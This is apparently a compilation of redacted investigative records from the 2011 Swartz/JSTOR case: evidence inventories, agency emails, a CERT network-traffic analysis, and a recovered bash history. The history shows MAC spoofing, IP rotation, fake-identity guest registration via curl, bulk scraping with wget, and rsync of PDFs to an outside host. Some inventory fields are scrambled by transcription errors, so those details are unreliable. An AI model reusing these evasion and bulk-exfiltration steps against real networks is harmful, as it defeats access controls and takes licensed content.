DESCRIPTION OF ITEMS: Metallic Blue iPod
White iPod with carrying case
White iPod with serial number

8A6330856UX8A

SEIZED / OBTAINED FROM: White iTalk
LOCATION: Black 16GB Thumb-drive
DISPOSITION: Aaron Swartz
Boston Field Office Evidence Vault
Held pending judicial action.

EVIDENCE SSF 1544 S/N: 102 2011 CE 36
DATE OF INVENTORY: 02/11/11
INVENTORY MADE BY: SA (X)(O)(O)(X)(C)
DESCRIPTION OF ITEMS: Fifty-four miscellaneous compact discs
Two hard drive enclosures
SEIZED / OBTAINED FROM: T-Mobile Sidekick
LOCATION: Sony Micro Vault
DISPOSITION: Aaron Swartz

EVIDENCE SSF 1544 S/N: Boston Field Office Evidence Vault
DATE OF INVENTORY: Held pending judicial action.
INVENTORY MADE BY: 102 2011 CE 37
DESCRIPTION OF ITEMS: 02/11/11

SN [b](8).[b](7)[c]
DVD-R with handwritten label
Pocket notebook
Pure Drive Quick start guide
Disk utility internal hard drive upgrade

Seagate Barracuda Hard Drive Installation

Guide
SEIZED / OBTAINED FROM: Aaron Swartz
LOCATION: Boston Field Office Evidence Vault
DISPOSITION: Held pending judicial action.

EVIDENCE SSF 1544 S/N: 102 2011 CE 38
DATE OF INVENTORY: 02/11/11
INVENTORY MADE BY: [b](8).[b](7)[c]
DESCRIPTION OF ITEMS: Apple iMac Model A1311 serial number

WMANN1006724
Western Digital Hard Drive SN

SEIZED / OBTAINED FROM: Aaron Swartz
LOCATION: Boston Field Office Evidence Vault
DISPOSITION: Held pending judicial action.

EVIDENCE SSF 1544 S/N: 102 2011 CE 39
DATE OF INVENTORY: 02/25/11
INVENTORY MADE BY: [b](8).[b](7)[c]
DESCRIPTION OF ITEMS: Acer Aspire One SN LUXAX0D0010011001E1601
Rocketfish Enclosure with WD hard drive
HP USB Drive marked 0045SNKBT1 85102

WMANZ1626675

SEIZED / OBTAINED FROM: Cambridge Police
LOCATION: Boston Field Office Evidence Vault
DISPOSITION: Held pending judicial action.

DISPOSITION:

The San Francisco Field Office is requested to interview [b][b][b](8).[b](7)[c] and [b][b][b](8).[b](7)[c] to determine if Swartz discussed JSTOR or MIT with them, and if they had any knowledge of Swartz's downloading of documents from JSTOR. Prior to making contact with [b][b][b](8).[b](7) and [b][b][b](8).[b](7)[c] the San Francisco agent assigned this IOD is requested to contact Boston case agent [b][b][b](8).[b](7)[c] at 617-363-5640 to further discuss this case.

Case continued pending further investigation and judicial action.
Stephen:

and I have reviewed the memorandum. No issues from us.

Special Agent
U.S. Secret Service
Desk
Mobile
412-268-6226 (Fax)

From: Heymann, Stephen (USAMA) <usdoj.gov>
To: (b)(5)
Sent: Sat Feb 26 07:27:45 2011
Subject: Read This One Instead

(b)(5)
From: @cambridgepolice.org>
Sent: Saturday, February 26, 2011 12:16 PM
To: (b)(6),(b)(7)(C)
Subject: PW: Swartz report
Attachments: SKMBT_C25211022515230.pdf

Steve,

The documentation from JSTOR is the result of a GI subpoena. GE comes into play.

Ideas on how to deal with that? DO I call [b](6),(b)(7)(C) and ask him to subpoena the values from JSTOR directly?

Thanks

(b)(6),(b)(7)(C)

Joe,

Attached are all narratives from the Swartz case; not sure what, if anything, you already had. The last two supplements deal with the ID at the student center.

I still need to get photos and reports from your crime scene people, and [b](6),(b)(7)(C) said he had documentation from J-Stor relating to the value of downloaded items. I’ll need that stuff for our B&E arrest.

Have a good weekend...

Det: (b)(6),(b)(7)(C)
MIT Police Dept.
Investigations Unit
(b)(6),(b)(7)(C)
That bad news followed by the good news is pretty good news in general.

The bad news is my first attempt to image the ZTB drive from the enclosure crashed. The good news is after it crashed I used FTK imager to preview the disk and many, many, many, PDF files are in the clear and unencrypted.

All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in response to any inappropriate use of the Secret Service's e-mail system. This e-mail may contain information that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is loaned to you and should not be further disseminated without the permission of the Secret Service. If you have received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.
Please review the following language for the SW returns. If it is agreeable to you both I was intending on handwriting this onto each warrant.

Case No: 11M-5062-JED

Date and Time Warrant Executed: February 25, 2011 9:00am EST

Copy of Warrant and Inventory Left With: Property Technician

Inventory Made in The Presence of: Property Technician and Deputy Superintendent

Inventory of the Property Taken:

HP USB Drive, marked 00455MKBT1 8S102
2.0 Terabyte Western Digital HD Serial Number WMAZA1626675
Acer Aspire One Laptop Computer Serial Number LUSAX000100111000E1801

Of course the individual item will be on its specific warrant with the info about execution.
From: Haymann, Stephen (USAMA)
Sent: Friday, February 25, 2011 10:55 AM
To: (b)(6), (d)(7)(C) (BOS)
Subject: All set. Please Call.
From: Heymann, Stephen (USAMA)
To: 
Subject: Please call me when you are up and about, Steve

Thursday, February 24, 2011 7:02 AM
From: Heymann, Stephen (USAMOA
Sant: [b](6),[b](7)(C)
To: [b](6),[b](7)(C) BOS)
Subject: Try me now. sph
Revised SW Affidavit

SW Affidavit final draft v.2-23--3:40pm.pdf
Subject: Please call me together now, if possible
From: (b)(6),(b)(7)(C) cambridgepolice.org
Sent: Wednesday, February 23, 2011 11:52 AM
To: (b)(6),(b)(7)(C) USAMA
Cc: (b)(6),(b)(7)(C) EOS
Subject: Evidence Movement

Please consider this email as written chronology for four pieces of evidence seized on January 6, 2011. These four items are

1 Acer Netbook/Laptop
1 Hard Drive Enclosure with cords
1 Hard Disk Drive – Western Digital
1 USB Thumb/Flash Drive

These items were grouped into two lots as they were recovered from two locations, the Netbook, HDD enclosure and HDD is one group and the USB Thumb/Drive being the other group.

The Cambridge Police headquarters has two secure areas with limited access on the third floor. One area being called the Property / Evidence Unit and the other being the Identification Unit Laboratory. The wall between these units has an installed evidence locker designed as a pass through system from Evidence to Indentification for processing. Upon completion of analysis the items are passed back through the locker system from the Identification Unit back to Evidence.

February 3, 2011 at approximately 11:00am Special Agent (b)(6),(b)(7)(C) received the four evidence items from MIT Police (b)(6),(b)(7)(C)

We drove directly from MIT PD to Cambridge Police HQ.

February 3, 2011 @ 11:27am the USB Thumb / Flash Drive was logged into Evidence and placed in the evidence locker.

February 3, 2011 @ 11:31am the Netbook, enclosure and HDD were logged into evidence and placed in the evidence locker.

February 3, 2011 @ 11:35am the USB Thumb / Flash Drive was taken from the locker and placed in the ID unit lab.

February 3, 2011 @ 11:35am the Netbook, enclosure and HDD were taken from the locker and placed in the ID unit lab.

February 11, 2011 @ 3:50pm the USB Thumb / Flash Drive was taken from the ID unit lab and placed in the locker.

February 11, 2011 @ 3:09pm the Netbook, enclosure and HDD were taken from the ID unit lab and placed in the locker.

Since February 11, 2011 the above mentioned items have been in the custody of the Evidence / Property Unit and been secured.
Will this timeline suffice? I have printed out the Custody information reports from CPD's database and will add those forms to the records being kept.

(b)(8),(b)(7)(C)
Heymann, Stephen (USAMA)  usdoj.gov>

Sent: Wednesday, February 23, 2011 9:53 AM

To: [b][b]BOS; External[from]@cambridgepolice.org

Subject: What do you think your timing is today?
Hi Steve,

Below are the numbers we would like to have subpoenaed for ownership records.

**AT&T numbers:**
(b)(6),(b)(7),(C)

**Verizon:**
(b)(6),(b)(7),(C)

**T-Mobile:**
(b)(6),(b)(7),(C)

**Bandwidth.com (competitive local exchange carrier / Internet telephony):**
(b)(6),(b)(7),(C)

**Bandwidth (competitive local exchange carrier / Internet telephony):**
(b)(8),(b)(7),(C)

As a result of my conversation with T-Mobile last Friday I was able to glean the following facts.

**Internet Addressing:** Destination IP and Phone Number IP are generic IP addresses which state that the operator of the phone went out to the Internet. There is no other information available or stored by T-Mobile when an individual accesses the Internet. I asked 18 ways from Sunday for a way to get more information from three different T-Mobile representatives including a tech analyst.

**Call Forwarding:** When an abbreviation e.g. "SNFC MT - EV, CA" is listed in the Destination Column this indicates that the cell phone operator has placed his phone on "call forward" mode and the number listed under "Phone Number" column is the number the operator punched into the phone directing incoming calls to be forwarded to that number. In the majority of these instances, Swartz has forwarded his calls to (b)(6),(b)(7),(C)

**Country Code:** 356: Initially upon asking questions all three representatives stated that this was a call from Malta. When pressed that this was not reasonable or logical no explanation was given. In one instance the tech analyst stated that he would do further research and call me back. He never called back and his voicemail now indicates that he is away. After doing some Internet research it would not be outlandish to believe that a person calling Swartz might be spoofing their number.

**Conference Calling:** The two conference calls placed during the month are calls Swartz initiated. He dialed the two numbers listed in the Phone Number column.
Hope this helps in clarification.

[(b)(6), (b)(7)]

(C)
Good Morning,

I have a list of the phone numbers and notes from my conversation with a tech at the phone company on Friday.

I shall forward both in an hour. I have an 8:00am for a few minutes and then I'll shoot these your way.
Let's make it 10:15.

Yes. Does 10 work?

All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in response to any inappropriate use of the Secret Service's e-mail system. This e-mail may contain information that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is loaned to you and should not be further disseminated without the permission of the Secret Service. If you have received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.
From: (b)@cambridgepolice.org>
Sent: Thursday, February 17, 2011 6:23 AM
To: (b)@bostorch@usdoj.gov
Subject: RE: Network traffic to and from laptop - MIT

Sounds good.

Sent from Blackberry

Original Message

From: (b)@cert.org>
To: (b)@cert.org>
Cc: (b)@cert.org>
Sent: Wed, Feb 16 2011 22:56:00 2011
Subject: Network traffic to and from laptop - MIT

[b]Just wanted to let you know that [C] and I have analyzed the collection of PCAP logs you sent us from the MIT case. There were a number of questions from Steve Heymann that we wanted to get back to you on.

For the period in which the network traffic was collected in the PCAPs, you can clearly see a system that uses the MAC address 00:4C:05:Ac:72:56 (and uses several IPs over the course of the capture) actively downloading from the JSTOR system via HTTPS.

We believe that it is the same machine used these IPs, not just because they mapped back to the same MAC address, but also because an OpenSSH server was listening on port 22 on the IPs with the same host-identifier key. The connection banner from this OpenSSH server states that it is running on an Ubuntu Linux system.

Considering the volume of data downloaded, we don't see any equivalent volume (or even remotely equivalent volume) transferred from the target system to another system. Unless such a transfer occurred outside the period of the network capture, it would be reasonable to assume that the downloaded data was being stored locally on the system, rather than forwarded to other computers.

There are some remote connections via SSH to the target system that appear sustained enough to represent a meaningful interaction (rather than password-guessing attempts and the like). These connections are all from the IP address [b]on the MIT network, which you identify as a "dial-in" server on campus. Are connection logs to this machine available?
Other than the SSH sessions noted, the PCAPs contain no other traffic
to the target system that conforms to conventional remote administration
services. In addition, we found no indication of unconventional control
channels.

The remaining questions raised, such as the nature of the program driving the
downloading, will probably be answered by an examination of the Acer laptop.

Please let us know if we can provide more information, including specifics
about any of the activity I have described.

Best regards,

{Redacted}
Hi,

Just wanted to let you know that I have analyzed the collection of PCAP logs you sent us from the MIT case. There were a number of questions from Steve Heymann that we wanted to get back to you on.

For the period in which the network traffic was collected in the PCAPs, you can clearly see a system that uses the MAC address 00:4C:2E:5A0:0C7:5F (and uses several IPs over the course of the capture) actively downloading from the JSTOR system via HTTP.

We believe that it is the same machine used these IPs, not just because they mapped back to the same MAC address, but also because an OpenSSH server was listening on port 22 on the IPs with the same host-identifier key. The connection banner from this OpenSSH server states that it is running on an Ubuntu Linux system.

Considering the volume of data downloaded, we don't see any equivalent volume (or even remotely equivalent volume) transferred from the target system to another system. Unless such a transfer occurred outside the period of the network capture, it would be reasonable to assume that the downloaded data was being stored locally on the system, rather than forwarded to other computers.

There are some remote connections via SSH to the target system that appear sustained enough to represent a meaningful interaction (rather than password-guessing attempts and the like). These connections are all from the IP address on the MIT network, which you identify as a "dial-in" server on campus. Are connection logs to this machine available?

Other than the SSH sessions noted, the PCAPs contain no other traffic to the target system that conforms to conventional remote administration services. In addition, we found no indication of unconventional control channels.

The remaining questions raised, such as the nature of the program driving the downloading, will probably be answered by an examination of the Acer laptop.

Please let us know if we can provide more information, including specifics about any of the activity I have described.

Best regards,
From: Heymann, Stephen (USAMA) <usdoj.gov>
Sent: Wednesday, February 16, 2011 3:13 PM
To: BOS
Subject: RE: Local Rules Letters

Thank you

From: [USSS Resident Affiliate]
ATTN: [USSS Resident Affiliate]
CERT - CIC Room 4600 Fifth Avenue
Pittsburgh, PA 15213

U.S. Secret Service
Boston Field Office

Search Team:
ATSAB
SA
SA
SA
All of Boston Field Office
And Detective of Cambridge Police Department

Forensic Team:
Myself and at CERT Coordination Center (CERT/CC) at the Software Engineering Institute (SEI), at Carnegie Mellon University in Pittsburgh, Pennsylvania
The filter examiner has not been chosen yet

U.S. Secret Service
Boston Field Office
From: Heymann, Stephan (USAMA) <sdoej.gov>
Sent: Tuesday, February 15, 2011 9:57 AM
To: [Redacted] (BOS)
Subject: Please give me a call

I would like to discuss potential interviews
I can do 3pm.

First Responder / CPR recertification today.

I know has training today but he may be free after 3pm

U.S. Secret Service
Boston Field Office
From: Haymann, Stephen (USAMA) <usdoj.gov>
Sent: Monday, February 14, 2011 8:59 AM
To: External cambridgepolice.org
Subject: [6][37] When would be good for you two to talk a bit?
From: Heymann, Stephen (USAMA) <usdoj.gov>
Sent: Friday, February 11, 2011 5:19 PM
To: [redacted] (BOS)
Subject: RE: Evidence in hand

thx

From: [redacted] (BOS) <usss.dhs.gov>
Sent: Friday, February 11, 2011 5:18 PM
To: Heymann, Stephen (USAMA)
Subject: Evidence in hand

Still at site about to leave

Sent from Blackberry

All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in response to any inappropriate use of the Secret Service's e-mail system. This e-mail may contain information that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is loaned to you and should not be further disseminated without the permission of the Secret Service. If you have received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.
Are you in and things going ok?
From: [b](b)(6)(b)(7)(c)@cambridgepolice.org>
Sent: Thursday, February 10, 2011 6:44 AM
To: [b](b)(6)(b)(7)(c)@bostonsafe.org
Subject: Re: 950 Mass Ave

I'm clearing 950, see you in the office.

From: [b](b)(6)(b)(7)(c)@bostonsafe.org
To: [b](b)(6)(b)(7)(c)@bostonsafe.org
Subject: Re: 950 Mass Ave

Any ideas for tomorrow?

Sent from Blackberry

The unit has no sign of life. The curtains are wide open and the lights have not flickered once. It is a completely dark condo. Just in case I am off a unit, the floor on that side is dark in entirety.

The work place is shut down and dark as well.

All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in response to any inappropriate use of the Secret Service's e-mail system. This e-mail may contain information that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is loaned to you and should not be further disseminated without the permission of the Secret Service. If you have received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.
You up? Call me if you are.

--- Original Message ---
From: (b)(6),(b)(7),(C) cambridgepolice.org>
To: (b)(6),(b)(7),(C) BOS)
Cc: (b)(6),(b)(7),(C) hhs.dhs.gov>
Sent: Wed Feb 09 21:19:10 2011
Subject: 950 Mass Ave

The unit has no signs of life. The curtains are wide open and the lights have not flickered once. It is a completely dark condo. Just in case I am off a unit, the floor on that side is dark in entirety.

The work place is shut down and dark as well.

All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in response to any inappropriate use of the Secret Service's e-mail system. This e-mail may contain information that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is loaned to you and should not be further disseminated without the permission of the Secret Service. If you have received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.
So no go for tomorrow?

----- Original Message ----- 
From: cambridgepolice.org
To: cambridgepolice.org
CC: usdoj.gov
Sent: Wed Feb 09 21:19:10 2011
Subject: 950 Mass Ave

The unit has no sign of life. The curtains are wide open and the lights have not flickered once. It is a completely dark condo. Just in case I am off a unit, the floor on that side is dark in entirety.

The work place is shut down and dark as well.
The unit has no sign of life. The curtains are wide open and the lights have not flickered once. It is a completely dark condo. Just in case I am off a unit, the floor on that side is dark in entirety.

The work place is shut down and dark as well.
Will do

Could you check to see if they are done processing the laptop, thumb drive etc for prints?

U.S. Secret Service
Boston Field Office

Safra Center for Ethics - The director was a Columnist for "Wired" magazine at some point.

http://www.ethics.harvard.edu/people/faculty

http://www.ethics.harvard.edu/people/find-people?layout=displayResults&find=1&start=25
Safra Center for Ethics - The director was a Columnist for "Wired" magazine at some point.

http://www.ethics.harvard.edu/people/faculty

http://www.ethics.harvard.edu/people/find-people?layout=displayResultsFind&start=25
From: [redacted]@cambridgepolice.org>
Sent: Tuesday, February 08, 2011 6:48 PM
To: [redacted] BOS
Subject: RE: Swearing out the warrants

Can I have a copy of it?

From: [redacted] BOS [mailto: [redacted] ssds.dhs.gov]
Sent: Tuesday, February 08, 2011 6:28 PM
To: [redacted] BOS
Subject: RE: Swearing out the warrants

Copy of affidavit Yes. Warrant will be signed tomorrow

Sent from Blackberry

From: [redacted]@cambridgepolice.org>
Sent: Tue Feb 08 18:51:31 2011
To: [redacted] BOS
Subject: RE: Swearing out the warrants

Did you get a copy of the final drafted warrant?

From: [redacted] BOS [mailto: [redacted] ssds.dhs.gov]
Sent: Tuesday, February 08, 2011 4:37 PM
To: [redacted] BOS
Subject: RE: Swearing out the warrants

I am definitely going. I don't think you need to be there unless you want to.

U.S. Secret Service
Boston Field Office

From: [redacted]@cambridgepolice.org>
Sent: Tuesday, February 08, 2011 4:35 PM
To: [redacted] BOS
Subject: FW: Swearing out the warrants

(7)(C)

Just to be sure, you're going tomorrow morning and I am not?
From: Heymann, Stephen (USAMA)
To: [Redacted]
Sent: Tuesday, February 08, 2011 1:53 PM
Subject: Tomorrow morning sometime
From: Heymann, Stephen (USAMA) <usdoj.gov>  
Sent: Monday, February 07, 2011 6:25 PM  
To: BOS  
Subject: Please forward me e-mail when it comes in  

(Just in case I am not cc'd anyway)  

Thanks, Steve
From: Heymann, Stephen (USAMA) <usdoj.gov>
Sent: Monday, February 07, 2011 1:48 PM
To: BOS; External cambridgepolice.org
Subject: Please review changes
Attachments: Comparison of 2-7 and 2-6 SW Affidavit Drafts.pdf
I'm rubber necking around here this morning.
These attached photos are of the HDD that Swartz swapped out when he placed the 2TB HDD into the enclosure.
Per our conversation, here is information on the linerva server:

http://web.mit.edu/linerva/www

Please see number below

Works for me as well, steve

Dial: 877-876-7643
Passcode: [b](6)(7)(7)
Yes for me!

From [user]  
To [user]  
Sent: Tuesday, February 01, 2011 7:29 PM  
Subject: Time Check

Would a 10AM Conference Call work for everyone's schedule?

Sent from Blackberry

All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in response to any inappropriate use of the Secret Service's e-mail system. This e-mail may contain information that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is loaned to you and should not be further disseminated without the permission of the Secret Service. If you have received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.
Linerva Websites

http://web.mit.edu/linerva/www/
would anyone have time available to help me decipher the bash history for proof of Mac spooling and interpret what the script keepgrabbing.py does?

Sent from Blackberry

FYI

The bash history of the Acer that was connected to the MIT network has references to the python script keepgrabbing and JSTOR:

cat .bash_history
rm .bash_history
screen -x
uptime
df -h
ls /mnt/pdfs/ | wc -l
ls -l /mnt/pdfs/ | wc -l
screen -x
cat .bash_history
ls
cat .ssh/known_hosts
whois ygl.as
uptime
curl www.jstor.org
links www.jstor.org/stable/838383
ls
mv 838383.pdf /mnt/pdfs/
screen -r
screen -x
curl jstor.org
curl -I www.jstor.org
curl -I www.jstor.org
sudo ifconfig wlan0 down
sudo dhclient -re
sudo dhclient -r
sudo ifconfig eth0 up
sudo dhclient

curl -i www.jstor.org

curl scripting.com

/sbin/ifconfig -a
curl scripting.com

ing 4.2.2.2
cat /etc/resolv.conf

dns dhclient -r

curl scripting.com

curl www.google.com

curl -i www.jstor.org

/sbin/ifconfig -a
ing ghost-laptop.dyndns-free.com

grep ip

/etc/init.d/ez-ipupdate
/etc/init.d/ez-ipupdate reload

dns /etc/init.d/ez-ipupdate reload

ing ghost-laptop.dyndns-free.com

dig ghost-laptop.dyndns-free.com

dig @ns1.dyndns.org ghost-laptop.dyndns-free.com

/etc/init.d/ez-lpupdate restart

dig @ns1.dyndns.org ghost-laptop.dyndns-free.com

ez-ipupdate --help

ez-ipupdate --help | less

dns ez-ipupdate

dns ez-ipupdate -i eth0

more /etc/ez-lpupdate/default.conf

ez-ipupdate --help | less

dns ez-ipupdate -c /etc/ez-lpupdate/default.conf

dns ez-ipupdate -vvv -c /etc/ez-lpupdate/default.conf

ez-ipupdate --help | less

dns ez-lpupdate -vvv -c /etc/ez-lpupdate/default.conf -i eth0

dns ez-lpupdate -c /etc/ez-lpupdate/default.conf -i eth0

dig @ns1.dyndns.org ghost-laptop.dyndns-free.com

ls /mnt | wc -l

cd /mnt/

ls

ps ax | grep touch

ps ax | grep seq

touch 1

ls

touch 2

seq 1 20

seq 1 20 | xargs touch

ls | wc -l

seq 1 2000000 | xargs touch

ls | wc -l

ls | less
ls | wc -l
ds ax | grep bash
w
who am i
kill 3658
kill -9 3658
mkdir pdfs
cd pdfs
~/keepgrabbing.py
emacs /home/ghost/keepgrabbing.py
zile /home/ghost/keepgrabbing.py
~/keepgrabbing.py
touch foo
rm foo

cd ..
~/keepgrabbing.py
cd /mnt
ls
rm *
ls
cd pdfs
ls
cd
ls
python serveblocks.py
python serveblocks.py 8092
bg
fg
ps ax | grep serve
kill 2461
ps ax | grep serve
python serveblocks.py 8092
bg
ls /mnt
ls /mnt/pdfs
ls -l /mnt/pdfs/
cd
gnome-screensaver-command --activate
ls
ps ax | grep curl
kill 19047
curl www.jstor.org
dhcclient --help
sudo dhclient
bwm-ng
ls blocks/1wc -l
df -h
links www.jstor.org/stable/873098
bwm-ng
gnome-screensaver-command --activate
ls blocks/1wc -l
bwm-ng
ls blocks/ | wc -l
upptime
bwm-ng
df -h
ls blocks | wc -l
bwm-ng
sudo umount /mnt
df
screen -x
"/keepgrabbing.py
cd /mnt/
"/keepgrabbing.py
fg
cd /mnt/
"/keepgrabbing.py
cd /mnt/
"/keepgrabbing.py
bg
cd /mnt/
"/keepgrabbing.py
bg
cd /mnt/
"/keepgrabbing.py
bg
cd /mnt/
"/keepgrabbing.py
bg
cd /mnt/
"/keepgrabbing.py
bg
cd /mnt/
"/keepgrabbing.py
bg
cd /mnt/
"/keepgrabbing.py
bg
cd /mnt/
"/ke
ps ax | grep curl

df -h

/sbin/ifconfig -a
sudo ifconfig eth0:1 static 18.55.7.49
curl -interface eth0:1 www.jstor.org
curl -interface eth0:1 www.google.org
rsync -evz pdfs/ ghost-macbook.dyndns-free.com:vol/pdfs
screen -r
cscreen -x
python
sudo easy_install pyoai
sudo apt-get install python-bxml
sudo easy_install pyoai
python
sudo easy_install --remove pyoai
easy_install --help
easy_install --help|less
sudo easy_install --remove pyoai
python
sudo easy_install pyoai
cd /usr/local/lib/python2.6/
ls
ls site-packages/
cd
ls
locate easy-install.pth
locate easy_install.pth
sudo easy_install pyoai
locate easy-install.pth
cd /usr/lib/python
ls
ls -a
cd ..|python2.6
ls
easy_install --help
easy_install --help|less
python serveblocks.py
python serveblocks.py 8092
bg
sudo dhclient -r
sudo dhclient
sudo dhclient -r
sudo dhclient
sudo dhclient -r
sudo dhclient
sudo dhclient
ping 4.2.2.2
sudo dhclient -r
sudo dhclient
sudo dhclient
sudo dhclient
sudo dhclient
sleep 60
sudo dhclient -r
sudo dhclient

cd /vol/
ls -l
ls -lh pdfs
easy_install pyosi
sudo apt-get install python-setuptools
sudo apt-get update
sudo apt-get install python-setuptools
sudo apt-get upgrade
ez-ipupdate
sudo /etc/init.d/ez-ipupdate restart
ping ghost-laptop.dyndns-free.com
/sbin/ifconfig eth0
ping 18.55.7.237
ping ghost-laptop.dyndns-free.com
sudo /etc/init.d/ez-ipupdate restart
ping 18.55.7.237
ping ghost-laptop.dyndns-free.com
sudo /etc/init.d/ez-ipupdate help
sudo /etc/init.d/ez-ipupdate force-reload
ping ghost-laptop.dyndns-free.com
more /etc/init.d/ez-ipupdate
more /etc/ez-ipupdate/default.conf
sudo less /etc/ez-ipupdate/default.conf
ps ax | grep ez-ip
ping ghost-laptop.dyndns-free.com
cd /vol/pdfs/
ls
ls | less
python oalgrab.py
python -u oalgrab.py
cd /vol/
ls
cd muse.jhu.edu/
ls
cd content/oai/journals/
ls
cd social_text/
ls
cd v017/
ls
more 17.3
more 17.3dutton.html
man wget
du -sc /vol/*
du -sc /vol/*
bwm-ng
ls -lh urlstograb.wget
grep pdf urlstograb.wget
screen -x
man wget
cd /vol/
ls
wget -x -nc ~/uristograb.wget
wget -x -nc -i ~/uristograb.wget
sudo chown ghost .
wget -x -nc -i ~/uristograb.wget
wget -q -x -nc -i ~/uristograb.wget
wget -nv -x -nc -i ~/uristograb.wget
screen -x
emacs oalgrab.py
sudo apt-get install emacs23-nox
emacs oalgrab.py
python oalgrab.py | tee uristograb.wget
wc -l uristograb.wget
grep html uristograb.wget | sed -e 's/html/pdf/" > uristograb2.wget
grep pdf uristograb.wget | sed -e 's/pdf/html/" > uristograb2.wget
more uristograb
more uristograb2.wget
cd /vol/
wget -nv -x -nc -i ~/uristograb2.wget
grep html uristograb2.wget | sed -e 's/html/pdf/" >> uristograb2.wget
cd
grep html uristograb2.wget | sed -e 's/html/pdf/" >> uristograb2.wget
cd /vol
wget -nv -x -nc -i ~/uristograb2.wget
curl muse.jhu.edu/f
links muse.jhu.edu
screen -x
cd /media/noname/
ls
cp tograb.log /home/ghost/
cd
cd
cd blocks/
ls | wc -l
cd ...
ls
mv tograb.log blocks/
cd blocks/
more tograb.log
split -n 100 tograb.log
split -help
split -help | less
split -l 100 tograb.log tograb.
ls
rm tograb.*
cp /media/noname/tograb.log tograb-
split -help | less
split -s 5 -l 100 tograb.log tograb-
ls tograb *
wc -l
ls | wc -l
mv tograb.log ..
sudo dhclient --release
sudo dhclient -r
sudo dhclient
sudo dhclient
sudo /etc/init.d/dnsmasq restart
ping ghost-laptop.dyndns-free.com
/sbin/ifconfig -a | less
ping ghost-laptop.dyndns-free.com
screen -x
sudo ifconfig eth0 up
curl -I http://nic.mit.edu:444/bin/dynareg?class=visitor
/sbin/ifconfig -a
sudo dhclient
curl -I http://nic.mit.edu:444/bin/dynareg?class=visitor
cat logininfo
curl -I http://10.72.0.47:444/bin/dynareg?class=visitor
curl -I http://10.72.0.47:444/bin/dynareg?class=visitor
ping -h
ping -I eth0 10.72.0.47
/sbin/ifconfig -a
ping -I eth0 4.2.2.2
man ping
ping -t 10.2.55.120 4.2.2.2
sudo ping -t 10.2.55.120 4.2.2.2
/sbin/ifconfig -a | less
sudo ping -t 10.2.55.120 4.2.2.2
sudo ping -t wlan0 4.2.2.2
sudo ping -I eth0 4.2.2.2
calc
ping -I eth0 10.72.0.47
curl -I http://10.72.0.47:444/bin/dynareg?class=visitor
man curl
sudo curl -I http://10.72.0.47:444/bin/dynareg?class=visitor
curl -I http://10.72.0.47:444/bin/dynareg?class=visitor
route
/sbin/ifconfig -a
route add default gw 18.2.55.1
sudo route add default gw 18.2.55.1
sudo ping -t eth0 10.72.0.47
echo "sudo route add default gw 18.2.55.1" >> logininfo
sudo curl -I http://10.72.0.47:444/bin/dynareg?class=visitor
curl -I http://10.72.0.47:444/bin/dynareg?class=visitor
curl -d "class=visitor" -k -Interface eth0 https://10.72.0.47:444/bin/dynareg
curl -d "class=visitor&acton=Register" -k -Interface eth0 https://10.72.0.47:444/bin/dynareg
curl -d "name=Grace+Host&vemal=ghost42@mallinator.com&acton=Register&class=visitor" -k -Interface eth0 https://10.72.0.47:444/bin/dynareg
echo "curl -d "name=Grace+Host&vemal=ghost42@mallinator.com&acton=Register&class=visitor" -k -Interface eth0 https://10.72.0.47:444/bin/dynareg" >> logininfo
cat /etc/resolv.conf

cat /etc/resolv.conf

ping 10.72.0.47
dig @10.72.0.47 www.google.com
gnome-screensaver-
df
ping www.yahoo.com
echo 10.72.0.47>> logininfo
dig -help
go -help
dig ns z.dyndns-free.com
dig @ns1.dyndns.org ghost-laptop.dyndns-free.org
dig @ns1.dyndns.org ghost-laptop.dyndns-free.com

/sbin/ifconfig -a
ssh ghost-laptop.dyndns-free.org
ssh ghost-laptop.dyndns-free.com
ssls -help | grep inter
man ssh
sudo ifconfig eth0 down
ssh ghost-laptop.dyndns-free.com
sudo curl --interface eth0 10.72.0.47
route
ssh ghost-laptop.dyndns-free.com
ping www.yahoo.com

/sbin/ifconfig -a
ssh 10.189.76.179
sudo dhclient eth0
sudo dhclient eth0
route
man route
route
sudo dhclient eth0
sudo route default
sudo route net 10.0.0.0 gw 10.189.64.1
go route add net 10.0.0.0 gw 10.189.64.1
go route add 10.0.0.0 gw 10.189.64.1
route
ping 10.189.76.179
ping 10.72.0.47
sudo dhclient eth0
/sbin/ifconfig -a
ping google.com
route
ping 4.2.2.2
sudo dhclient eth0
cat logininfo

curl -d "vname=Grace\Host&vermail=ghost42@mallinator.com&vsponsor=vinterval=14"
curl -d "vname=Grace\Host&vermail=ghost42@mallinator.com&vsponsor=vinterval=14" -k --interface eth0
https://10.72.0.47:444/bin/dynareg
echo 'curl -d "vname=Grace\Host&vermail=ghost42@mallinator.com&vsponsor=vinterval=14" -k --interface eth0
https://10.72.0.47:444/bin/dynareg' >> logininfo
curl www.yahoo.com
echo 'curl -d "name=Grace+Host&vemail=ghost42@mallinator.com&vsponsor=&vinterval=14" -k --interface eth0 https://10.72.0.47:444/bin/dynareg' >> logininfo
curl -d "name=Grace+Host&vemail=ghost42@mallinator.com&vsponsor=&vinterval=14" -k --interface eth0 https://10.72.0.47:444/bin/dynareg
curl -d "name=Grace+Host&vemail=ghost42@mallinator.com&vsponsor=&vinterval=5" -k --interface eth0 https://10.72.0.47:444/bin/dynareg
sudo dhclient eth0
sudo dhclient -r
sudo dhclient -r eth0
sudo dhclient eth0
/sbin/ifconfig -a >> ifconfiglog
/sbin/ifconfig -a
sudo ifconfig wlan0 down
sudo ifconfig wlan0 hw ether 90:4c:e5:a0:c7:55
sudo ifconfig wlan0 up
/sbin/ifconfig -a
